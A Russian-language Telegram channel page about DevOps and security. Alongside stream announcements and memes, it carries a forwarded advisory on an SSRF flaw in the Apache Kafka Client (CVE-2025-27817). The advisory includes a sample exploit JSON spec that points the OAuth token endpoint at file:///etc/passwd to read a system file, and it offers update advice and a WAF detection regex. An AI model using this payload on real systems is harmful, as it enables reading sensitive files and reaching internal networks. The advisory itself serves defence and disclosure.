Vault of DevOps
70 subscribers
239 photos
58 videos
12 files
132 links
Обсуждаем DevOps
Обмазываемся Security

Публикуемые материалы исключительно для ознакомительных целей ;)

Наши каналы:
Музыка: @vault_of_music
Download Telegram
На всякий, у нас музыкальный канальчик еще есть: @vault_of_music
Forwarded from Четыре луча
SSRF в Apache Kafka Client CVE-2025-27817

CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.

❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.

Метрики
Base core: 7,5 (High)
CWE: CWE 918


Описание уязвимости

Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url
sasl.oauthbearer.jwks.endpoint.url

sasl.oauthbearer.token.endpoint.urlэто параметр конфигурации в Apache Kafka Client, который указывает URL-адрес сервера аутентификации OAuthBearer, откуда клиент должен получить токен доступа.

sasl.oauthbearer.jwks.endpoint.urlэто параметр конфигурации Apache Kafka Client, который указывает URL для получения JWKS (JSON Web Key Set) — набора ключей, используемых для проверки подписанных OAuth токенов.

Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
file:// → приведёт к чтению локального файла и логированию его содержимого.
https:// или https:// → позволяет сделать запрос к произвольному серверу, в том числе во внутренней сети → SSRF.

Пример эксплойта
{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:1337",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
},
"topic": "xx",
"useEarliestOffset": true

},
"dataSchema": {
"dataSource": "test"
}
}
}

В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту /druid/indexer/v1/sampler

Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что бы в них не передавались схемы http, ftp, php, https, file, data.
Например подобным регулярным выражением
\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"


Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
🥰2
Начинаем крабить))
Live stream started
Live stream finished (1 hour)
🥰1
/g/‘s Tech Memes
Video
This media is not supported in your browser
VIEW IN TELEGRAM
Крутим вертим SQL`и
Live stream started
Live stream finished (2 hours)
😢2
Forwarded from /g/‘s Tech Memes
Live stream started
Будем щупать вебчик
Live stream finished (1 hour)
5🥰2